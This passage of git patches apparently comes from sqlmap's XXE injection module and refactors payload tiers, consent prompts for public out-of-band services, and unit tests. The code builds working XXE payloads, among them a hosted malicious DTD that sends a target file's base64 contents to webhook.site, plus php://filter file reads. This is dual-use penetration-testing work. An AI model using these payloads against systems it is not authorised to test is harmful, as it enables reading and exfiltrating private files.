- request stack (proxy/timeout honoured) straight to the service, not the target."""
+ and reads back the requests captured on them. Self-contained on urllib (like the
+ interactsh client): sqlmap's getPage caches by URL, which would make repeated
+ polls of the same /requests URL return a stale snapshot and miss the callback."""
def __init__(self):
# Exfil host is the public content-serving endpoint (its token API is
@@ -32,10 +34,28 @@ class WebhookSite(object):
def _api(self, path, post=None):
try:
+ import ssl
+ try:
+ from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
+ except ImportError:
+ from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
+
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
- page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post,
- auxHeaders=headers, direct=True, silent=True, raise404=False)
- return page if (code is None or code in (200, 201)) else None
+ handlers = []
+ try:
+ context = ssl.create_default_context()
+ if conf.get("verifyCert") is False:
+ context.check_hostname = False
+ context.verify_mode = ssl.CERT_NONE
+ handlers.append(HTTPSHandler(context=context))
+ except Exception:
+ pass
+ if conf.get("proxy"):
+ handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
+
+ request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
+ response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
+ return getText(response.read())
except Exception as ex:
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
return None
diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py
index 0a585c4d7..5876a7f06 100644
--- a/lib/techniques/xxe/inject.py
+++ b/lib/techniques/xxe/inject.py
@@ -11,6 +11,7 @@ import time
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
+from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import getBytes
from lib.core.convert import getText
@@ -21,12 +22,12 @@ from lib.core.data import logger
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
+from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
-from lib.core.settings import OOB_EXFIL_DEFAULT_FILE
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
@@ -38,6 +39,14 @@ from lib.request.connect import Connect as Request
# so its presence in a response is unambiguously our reflected/expanded value.
SENTINEL = randomStr(length=12, lowercase=True)
+# When the user marked an explicit injection point in the body (e.g. 'luther*'),
+# it is preserved as this placeholder and used as the SOLE injection spot, instead of
+# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
+_MARKER = None
+
+# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
+_OOB_CONSENT = None
+
# First element of the document (skipping the prolog, comments and any
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
@@ -52,13 +61,41 @@ def _looksXml(data):
return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
+def _toSystemId(path):
+ """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
+ consistently across every tier."""
+ p = getText(path or "").strip()
+ if "://" in p:
+ return p
+ return "file:///" + p.replace("\\", "/").lstrip("/")
+
+
+def _toResource(path):
+ """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
+ p = getText(path or "").strip()
+ if p.startswith("file://"):
+ p = p[len("file://"):]
+ p = p.replace("\\", "/")
+ if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
+ return p.lstrip("/")
+ return "/" + p.lstrip("/")
+
+
def _cleanBody():
"""Return the original request body with sqlmap's injection marks removed.
Order matters: drop the injected custom marks first (any literal '*' from the
original body was already escaped to ASTERISK_MARKER by target processing),
then restore those escaped asterisks."""
+ global _MARKER
+ _MARKER = None
data = getText(conf.data or "")
- data = data.replace(kb.customInjectionMark or "\x00", "")
+ mark = kb.customInjectionMark or "\x00"
+ if kb.get("processUserMarks") and mark in data:
+ # user chose the injection point explicitly - honour it as the SOLE spot
+ _MARKER = "xxemark%s" % randomStr(10, lowercase=True)
+ data = data.replace(mark, _MARKER, 1).replace(mark, "")
+ else:
+ data = data.replace(mark, "")
data = data.replace(ASTERISK_MARKER, "*")
return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
@@ -86,6 +123,9 @@ def _send(body):
if conf.delay:
time.sleep(conf.delay)
+ if _MARKER and not isinstance(body, bytes) and _MARKER in body:
+ body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
+
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
@@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False):
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
injecting just before the root's closing tag when there is no text node at all."""
+ if _MARKER and _MARKER in xml:
+ return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
+
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
head, tail = xml[:start], xml[start:]
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
@@ -169,19 +212,25 @@ def _fingerprint(page):
def _echoed(page):
- """True when the response mirrors our raw markup back. Essential guard for the
- sentinel-in-path oracles: a debug/echo endpoint that never parses XML would
- otherwise reflect the sentinel (it is inside the body we sent) and look like a
- genuine parser error. A real error surfaces only the path/message, not the
- DOCTYPE/entity declarations."""
- page = getUnicode(page or "")
- return "' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
@@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline):
def _tryPhpFilter(xml, rootName, baseline):
- """PHP-only in-band read that survives newlines/binary: base64 a source file
- through php://filter. Confirmed when the reflection decodes to file content."""
+ """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
+ impact demonstration -> reads /etc/os-release; it deliberately never probes
+ /etc/passwd here (a specific file is read only on explicit '--file-read')."""
from lib.core.convert import decodeBase64
baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
- for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")):
- resource = systemId[len("file://"):]
+ for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
ent = randomStr(length=8, lowercase=True)
subset = '' % (ent, resource)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
@@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName):
return None, ""
-def _tryErrorExfil(xml, rootName):
+def _tryErrorExfil(xml, rootName, errorChannel=False):
"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
message embeds the target file's contents (not just a sentinel). Two vehicles:
(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
- the exfil service -> needs egress to fetch it plus verbose errors. php://filter
- base64 carries a whole multi-line file intact; raw file:// leaks the first line
- on any parser. Returns (content, filename) or (None, None)."""
+ the exfil service -> needs egress to fetch it plus verbose errors, so it is only
+ attempted when an error channel was already confirmed (else it is pointless and
+ just burns third-party requests). php://filter base64 carries a whole multi-line
+ file intact; raw file:// leaks the first line. Returns (content, filename)."""
from lib.core.convert import decodeBase64
- fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE
- resource = fileName if fileName.startswith("/") else "/" + fileName
+ fileName = conf.get("fileRead")
+ if not fileName:
+ return None, None
marker = randomStr(10, lowercase=True)
# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
- reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True),
- ("file://%s" % resource, False))
+ reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
+ (_toSystemId(fileName), False))
def _extract(page, isB64):
pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
@@ -368,8 +418,9 @@ def _tryErrorExfil(xml, rootName):
if content:
return content, fileName
- # (b) DTD we host on the exfil service - egress + verbose errors (third party)
- if not _oobEnabled():
+ # (b) DTD we host on the exfil service - egress + verbose errors (third party):
+ # skip on a blind target (no error channel) and without explicit OOB consent
+ if not (errorChannel and _oobConsent()):
return None, None
from lib.request.webhooksite import WebhookSite
wh = WebhookSite()
@@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName):
def _oobEnabled():
- """Out-of-band tiers contact a public third party by default. Honour an explicit
- opt-out (`--oob-server none`) for sensitive engagements."""
+ """False when the user opted out of OOB entirely (`--oob-server none`)."""
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
+def _oobConsent():
+ """True only when the user has opted into contacting a third-party OOB service:
+ either explicitly (`--oob-server `) or by answering the one-time prompt,
+ which defaults to NO - so '--batch' never silently phones a public service."""
+ global _OOB_CONSENT
+ if not _oobEnabled():
+ return False
+ if conf.get("oobServer"):
+ return True
+ if _OOB_CONSENT is None:
+ message = "do you want sqlmap to use a public out-of-band service "
+ message += "(interactsh/webhook.site) for blind XXE? [y/N] "
+ _OOB_CONSENT = readInput(message, default='N', boolean=True)
+ return _OOB_CONSENT
+
+
def _tryOobExfil(xml, rootName):
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
a public content+logging service (webhook.site), point the target's parser at
@@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName):
from lib.core.convert import decodeBase64
from lib.request.webhooksite import WebhookSite
+ fileName = conf.get("fileRead")
+ if not fileName:
+ return None
+
wh = WebhookSite()
exfilToken = wh.newToken()
if not exfilToken:
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
return None
- target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE
- exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken)
+ marker = randomStr(10, lowercase=True)
+ # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
+ # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
+ # and webhook.site logs the raw request URL, which we regex back out.
+ exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
dtd = ('\n'
'">\n'
- '%%eval;\n%%exfil;') % (target, exfilUrl)
+ '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
dtdToken = wh.newToken(dtd)
if not dtdToken:
return None
@@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName):
_send(payload)
content, detected = None, False
+ pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
for _ in range(OOB_POLL_ATTEMPTS):
time.sleep(OOB_POLL_DELAY)
for record in wh.captured(exfilToken):
- leaked = (record.get("query") or {}).get("x")
- if leaked:
+ match = pattern.search(getText(record.get("url") or ""))
+ if match:
try:
- content = getText(decodeBase64(leaked))
+ content = getText(decodeBase64(match.group(1)))
except Exception:
- content = getText(leaked)
+ content = match.group(1)
break
if content:
break
@@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName):
if not detected:
detected = bool(wh.captured(dtdToken))
- return {"payload": payload, "filename": target, "content": content, "detected": detected}
+ return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
def _tryOob(xml, rootName):
@@ -560,8 +634,9 @@ def _tryOob(xml, rootName):
def xxeScan():
- global SENTINEL
+ global SENTINEL, _OOB_CONSENT
SENTINEL = randomStr(length=12, lowercase=True)
+ _OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
@@ -583,29 +658,30 @@ def xxeScan():
baseline = _send(xml)
found = False
- # T2: in-band reflected (internal entity expansion) - the strongest oracle
+ # T2: in-band reflected DTD/internal-entity expansion. This proves the parser
+ # processes entities; it is NOT yet external-entity file-read impact - so the
+ # finding is worded conservatively and escalated only if an actual read follows.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
found = True
- logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)")
- _report("In-band (reflected internal entity)", payload)
+ logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
+ _report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
- logger.info("in-band file read of '%s' succeeded" % conf.fileRead)
+ logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead)
_dumpFileRead(conf.fileRead, content)
-
- systemId, snippet = _tryExternalFile(xml, rootName, baseline)
- if systemId:
- logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet))
- _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet))
else:
- phpPayload = _tryPhpFilter(xml, rootName, baseline)
- if phpPayload:
- logger.info("file-read impact confirmed via php://filter (base64 source disclosure)")
- _report("File read via php://filter (base64)", phpPayload)
+ # benign, in-band impact demonstration (data stays in the response, no third party)
+ systemId, snippet = _tryExternalFile(xml, rootName, baseline)
+ if not systemId:
+ snippet = _tryPhpFilter(xml, rootName, baseline)
+ systemId = "php://filter" if snippet else None
+ if systemId:
+ logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
+ _report("In-band file-read impact (external entity '%s')" % systemId, "")
# T3: error-based (works where entities are not reflected but errors leak)
errorChannel = False
@@ -626,13 +702,14 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
- # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an
- # in-band file read (or attempt it directly when the user asked via --file-read)
- if errorChannel or conf.get("fileRead"):
- content, fileName = _tryErrorExfil(xml, rootName)
+ # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
+ # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
+ # both a confirmed error channel (pointless on a blind target) and OOB consent.
+ if conf.get("fileRead"):
+ content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
if content:
found = True
- logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName)
+ logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
_report("Error-based in-band file read ('%s')" % fileName, "" % fileName)
_dumpFileRead(fileName, content)
@@ -661,27 +738,28 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
_report("Time-based blind (external entity to non-routable host)", payload)
- # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE)
- if not found and _oobEnabled():
- exfil = _tryOobExfil(xml, rootName)
- if exfil and (exfil["content"] or exfil["detected"]):
- found = True
- if exfil["content"]:
- logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"])
- _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
- _dumpFileRead(exfil["filename"], exfil["content"])
- else:
- logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)")
- _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
-
- # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback)
- if not found and _oobEnabled():
- result = _tryOob(xml, rootName)
- if result:
- payload, protocol = result
- found = True
- logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol)
- _report("Out-of-band blind (collector callback: %s)" % protocol, payload)
+ # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO).
+ # Low-impact callback confirmation is the default; actual file exfiltration is
+ # attempted only when the user explicitly asked for a file via '--file-read'.
+ if not found and _oobConsent():
+ if conf.get("fileRead"):
+ exfil = _tryOobExfil(xml, rootName)
+ if exfil and (exfil["content"] or exfil["detected"]):
+ found = True
+ if exfil["content"]:
+ logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
+ _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
+ _dumpFileRead(exfil["filename"], exfil["content"])
+ else:
+ logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
+ _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
+ else:
+ result = _tryOob(xml, rootName)
+ if result:
+ payload, protocol = result
+ found = True
+ logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
+ _report("Out-of-band blind (collector callback: %s)" % protocol, payload)
if not found:
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
diff --git a/tests/test_xxe.py b/tests/test_xxe.py
index 0c29c0585..8c46873c8 100644
--- a/tests/test_xxe.py
+++ b/tests/test_xxe.py
@@ -77,6 +77,17 @@ class TestBuildDoctype(unittest.TestCase):
self.assertIn(self.SUBSET, out)
self.assertIn("[", out)
+ def test_existing_internal_subset_with_gt_in_entity_value(self):
+ # a '>' inside a quoted entity value must not fool the internal-subset splice
+ out = xxe._buildDoctype('y">]>z', "r", self.SUBSET)
+ self.assertEqual(out.count("z', "r", self.SUBSET)
+ self.assertEqual(out.count("xxemarkzzzzother", "&e;")
+ self.assertIn("&e;", out)
+ self.assertIn("other", out) # other node left intact
+ self.assertNotIn("xxemarkzzzz", out)
+
+ def test_clean_body_sets_marker_on_user_marks(self):
+ conf.data = "luther%s" % (kb.customInjectionMark or "*")
+ kb.processUserMarks = True
+ try:
+ cleaned = xxe._cleanBody()
+ self.assertIsNotNone(xxe._MARKER)
+ self.assertIn(xxe._MARKER, cleaned)
+ finally:
+ kb.processUserMarks = False
+ xxe._MARKER = None
+
+
+class TestReportMethod(unittest.TestCase):
+ def test_report_uses_conf_method(self):
+ captured = []
+
+ class _Dumper(object):
+ def singleString(self, data, content_type=None):
+ captured.append(data)
+
+ old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep")
+ conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False
+ try:
+ xxe._report("Title", "Payload")
+ finally:
+ conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
+ self.assertIn("PUT XML body", captured[0])
+
+
+class TestOobBase64Capture(unittest.TestCase):
+ def test_path_capture_survives_plus_slash_equals(self):
+ import base64
+ from lib.core.convert import getText, decodeBase64
+ marker = "mk12345678"
+ raw = b">>>\xff\xfe some + / = data =="
+ blob = getText(base64.b64encode(raw))
+ self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present
+ url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH
+ m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url)
+ self.assertIsNotNone(m)
+ self.assertEqual(m.group(1), blob)
+ self.assertEqual(decodeBase64(m.group(1)), raw)
+
+
class TestDetectionMocked(unittest.TestCase):
def setUp(self):
self._send = xxe._send
From 103a0e6b0fd5ef65b7b4d72985a27d6a46e86e43 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 11:12:21 +0200
Subject: [PATCH 26/30] More refactoring for --xxe
---
data/txt/sha256sums.txt | 4 ++--
lib/core/settings.py | 2 +-
lib/techniques/xxe/inject.py | 45 +++++++++++++++++++++++++-----------
3 files changed, 34 insertions(+), 17 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index e1c202926..b5e04442b 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py
+d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
-d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py
+e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 86505b7b1..0f81eefb9 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.25"
+VERSION = "1.10.7.26"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py
index 5876a7f06..f6d7432cb 100644
--- a/lib/techniques/xxe/inject.py
+++ b/lib/techniques/xxe/inject.py
@@ -656,20 +656,23 @@ def xxeScan():
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
baseline = _send(xml)
- found = False
+ found = False # an actual impact/oracle (file read, error-based, XInclude, blind)
+ expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search)
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
- # processes entities; it is NOT yet external-entity file-read impact - so the
- # finding is worded conservatively and escalated only if an actual read follows.
+ # processes entities but is NOT yet file-read impact, so it deliberately does NOT
+ # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
+ # run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
- found = True
+ expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
_report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
+ found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead)
_dumpFileRead(conf.fileRead, content)
@@ -680,12 +683,15 @@ def xxeScan():
snippet = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if snippet else None
if systemId:
+ found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, "")
- # T3: error-based (works where entities are not reflected but errors leak)
+ # T3: error-based (works where entities are not reflected but errors leak). A
+ # redundant detection channel once in-band reflection was already seen, so it is
+ # skipped then - the file-read *impact* tiers below still run to try to upgrade.
errorChannel = False
- if not found:
+ if not found and not expansionSeen:
payload, page = _tryError(xml, rootName)
if payload:
found = errorChannel = True
@@ -693,8 +699,8 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
- # T3b: no-egress error-based via local-DTD repurposing
- if not found:
+ # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected)
+ if not found and not expansionSeen:
payload, page = _tryLocalDtd(xml, rootName)
if payload:
found = errorChannel = True
@@ -721,16 +727,20 @@ def xxeScan():
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
_report("XInclude file read ('%s')" % systemId, payload)
- # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM)
- if not found:
+ # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
+ # variant re-detects internal-entity reflection, so it is redundant (and mislabels
+ # as 'evasion') once reflection was already seen - skip it then.
+ if not found and not expansionSeen:
title, payload = _tryEvasions(xml, rootName, baseline)
if title:
found = True
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
_report(title, payload)
- # T6: time-based blind (no collector, no third party) - external entity to a non-routable host
- if not found:
+ # T6: time-based blind (no collector, no third party) - external entity to a non-routable host.
+ # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow)
+ # blind tiers add nothing and would needlessly stall.
+ if not found and not expansionSeen:
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
payload = _tryTimeBlind(xml, rootName)
if payload:
@@ -738,10 +748,11 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
_report("Time-based blind (external entity to non-routable host)", payload)
- # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO).
+ # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only
+ # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt).
# Low-impact callback confirmation is the default; actual file exfiltration is
# attempted only when the user explicitly asked for a file via '--file-read'.
- if not found and _oobConsent():
+ if not found and not expansionSeen and _oobConsent():
if conf.get("fileRead"):
exfil = _tryOobExfil(xml, rootName)
if exfil and (exfil["content"] or exfil["detected"]):
@@ -762,6 +773,12 @@ def xxeScan():
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
if not found:
+ if expansionSeen:
+ # in-band entity processing is real, but no external-entity/blind oracle was reachable
+ # (typically external entities disabled) - report honestly rather than overstate impact
+ logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established")
+ logger.info("XXE scan complete")
+ return
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
# from a merely non-reflecting one so the user knows why it did not fire.
probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL))
From 7fd6bb3b7d8a9056f8a2db9d132d7ef3d7dd4049 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Sat, 4 Jul 2026 12:38:59 +0200
Subject: [PATCH 27/30] Minor update
---
data/txt/sha256sums.txt | 6 +++---
lib/core/settings.py | 2 +-
lib/request/dns.py | 34 +++++++++++++++++++++-------------
tests/test_dns_server.py | 1 +
4 files changed, 26 insertions(+), 17 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index b5e04442b..a2ee55d01 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py
+415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
@@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch
4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py
4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py
8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
-b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py
+c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dns.py
7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py
